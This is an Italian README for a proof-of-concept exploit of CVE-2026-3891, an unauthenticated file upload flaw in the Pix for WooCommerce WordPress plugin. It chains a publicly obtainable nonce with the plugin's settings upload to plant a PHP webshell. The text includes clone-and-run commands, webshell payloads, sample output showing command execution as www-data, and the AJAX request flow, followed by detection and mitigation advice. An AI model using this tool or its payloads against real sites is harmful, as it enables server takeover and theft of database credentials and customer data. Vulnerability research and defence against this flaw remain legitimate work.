
PoC per CVE-2026-3891 – Upload di file non autenticato con RCE in Pix for WooCommerce ≤ 1.5.0. Recupero automatico del nonce, upload PHP ed esecuzione di comandi.
Exploit Proof-of-Concept per CVE-2026-3891 – caricamento arbitrario di file non autenticato che porta all'esecuzione remota di codice nel plugin WordPress Pix for WooCommerce (≤ 1.5.0).
CVE-2026-3891 è una vulnerabilità critica nel plugin Pix for WooCommerce, che interessa tutte le versioni fino alla . Il plugin non applica controlli adeguati di autorizzazione e di tipo di file nel suo handler AJAX . Un attaccante non autenticato può sfruttare questa falla per caricare file PHP arbitrari in una directory accessibile pubblicamente e ottenere l'esecuzione remota di codice sul server WordPress sottostante.
lkn_pix_for_woocommerce_c6_save_settingsQuesto repository contiene un PoC di livello produttivo che automatizza l'intera catena di attacco – dal recupero di un nonce valido al caricamento di una webshell – con una gestione robusta degli errori e una bella interfaccia CLI.
certificate_crt_path atteso dall'handler vulnerabile.--check).[ * ], [ + ], [ - ], [ ! ] per una lettura immediata.La causa principale risiede in due azioni AJAX registrate dal plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Questa azione è registrata su wp_ajax_nopriv_*, rendendola accessibile ai visitatori non autenticati. Genera un nonce per l'azione lkn_pix_for_woocommerce_c6_settings_nonce e lo restituisce in un involucro JSON:
{"success":true,"data":{"nonce":"abc123..."}}
Non viene eseguito alcun controllo dei permessi né autenticazione dell'utente: chiunque può richiedere un nonce valido.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Questo handler salva le impostazioni del plugin, incluso un campo di caricamento file chiamato certificate_crt_path. Sebbene il caricamento avvenga tramite l'helper media_handle_upload di WordPress, il plugin non:
current_user_can)..php).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
Poiché il nonce protegge solo da CSRF e può essere ottenuto da chiunque, un attaccante può concatenare queste due azioni per caricare ed eseguire codice PHP arbitrario.
www-data o apache).wp-config.php, credenziali del database, dati dei clienti.requests (installabile con pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Per un maggiore controllo, usa le opzioni da riga di comando:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Opzione | Descrizione | Predefinito |
|---|---|---|
target (posizionale) | URL di base del sito WordPress. | Obbligatorio |
-f, --filename | Nome del file PHP caricato. | woocommerce.php |
-p, --payload | Codice PHP da caricare. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Timeout delle richieste in secondi. | 15 |
-r, --retries | Numero massimo di tentativi per il recupero del nonce. | 2 |
--no-banner | Sopprimi l'ASCII art. | (off) |
--no-verify | Salta il controllo di accessibilità dopo il caricamento. | (off) |
--check | Esegui id sulla webshell dopo il caricamento. | (off) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. Non è necessario alcun cookie o sessione.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – il nonce recuperato in precedenzacertificate_crt_path – un caricamento file multipart (il payload).php vengono accettati e salvati senza rinominazione.Dopo un caricamento riuscito, il file si trova in:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
Questa directory è direttamente accessibile via web; i file PHP verranno eseguiti se il server web è configurato per elaborarli (che è l'impostazione predefinita per i server gestiti da WordPress).
certs_c6 (soprattutto file come woocommerce.php, shell.php, ecc.).admin-ajax.php con le azioni elencate sopra, provenienti da IP non attendibili..../certs_c6/ con parametri di query come ?cmd=id.Monitora i log di WordPress per:
/wp-admin/admin-ajax.php con action=lkn_pix_for_woocommerce_generate_nonce e action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6. Usa uno strumento di monitoraggio dell'integrità dei file (ad es. Tripwire, OSSEC) per ricevere avvisi sulle modifiche.certs_c6 (ad es. usando .htaccess con php_flag engine off).current_user_can('manage_options') per la generazione del nonce, e una corretta verifica del nonce oltre a un controllo dei permessi per il caricamento).Questo progetto è concesso in licenza MIT – consulta il file LICENSE per i dettagli.
Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.
Se trovi utile questo PoC, valuta di assegnargli una ⭐ su GitHub e di condividerlo in modo responsabile. Contributi, segnalazioni di problemi e pull request sono benvenuti!
Buon hacking! 🛡️